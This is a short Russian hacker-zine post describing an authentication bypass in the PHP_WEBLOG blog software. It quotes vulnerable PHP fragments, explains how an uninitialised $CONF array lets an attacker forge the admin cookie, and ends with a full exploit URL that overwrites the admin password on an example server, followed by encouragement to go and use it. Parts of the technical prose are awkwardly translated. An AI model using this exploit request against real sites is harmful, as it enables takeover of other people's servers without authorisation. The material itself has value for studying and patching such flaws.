Привет ПереЦ!
Свеженькая дырка в PHP_WEBLOG
дает порулить удаленным серваком с правами
админа. Проблема: в common.inc.php, $CONF не правильно
проинициализирован как массив, позволяющий
таким образом изменять содержание
передаваемой строки, чтобы обойти
аутентификацию администратора.
Описание:
фрагмент common.inc.php:
<quote>/*== read in configuration data ==*/
$sql = "SELECT * FROM T_Config";
$result = @mysql_query($sql,$db);
$nrows = mysql_num_rows($result);
for ($i=0;$i<$nrows;$i++) {
$A =
mysql_fetch_array($result);
$CONF[$A["Name"]] = $A["Value"];}
</quote>
Последняя передаваемая позиция является
"языком", так что, если наш язык
устанавливается, чтобы быть "английским",
все величины $CONF возвратятся в 'e'.
фрагмент auth.inc.php:
<quote>} elseif (!F_isAdmin()) {
include("../include/header.inc.php");
if (!empty($warn)) {
F_logAccess("Failed login");
F_notice("Invalid password. Try again.");
}(...)
(admin authenticated)
</quote>
Фрагмент common.inc.php:
<quote>function F_isAdmin() {
global $HTTP_COOKIE_VARS,$CONF;
$name = md5($CONF["SiteKey"]
. "_admin");
#echo $HTTP_COOKIE_VARS[$name];
#echo crypt("admin",$CONF["SiteKey"]);
return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"]))
? 1 :0);}
</quote>
Как мы можем здесь видеть,
аутентификация основывается на
сопоставлении данных с величинами $CONF, так
что мы будем делать? Вычисляем md5() "<первый
символ языка>_admin". вычисляем md5(rot13("<первый
символ языка>")).
Фрагмент submit.php:
<quote>
case "config-extend":
$tmp = urlencode("Changes
Saved.");
if (!empty($Passwd) || !empty($Passwd2))
{
if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
$sql = "UPDATE T_Config set ";
$sql .= "Value = '" .
md5($HTTP_POST_VARS["Passwd"]) . "' ";
$sql .= "WHERE Name = 'Passwd'";
$RET = @mysql_query($sql,$db);
(...)
(admin password changed)
</quote>
На основании вышесказанного - пример
передаваемой строки
http://phpweblog.deadserver.com/submit.php?CONF= anything&HTTP_COOKIE_VARS[7f15a2e7f0a543eacb3efbd098ced7f2]=
4b43b0aee35624cd95b910189b3dc231&what= config-extend&HTTP_POST_VARS[Passwd]=
mypass&HTTP_POST_VARS[Passwd2]=mypass&Passwd=mypas
s&Passwd2= mypass
Вперед и с песней мой
дорогой виртуальный друг.
ТHATS ALL FOLKS...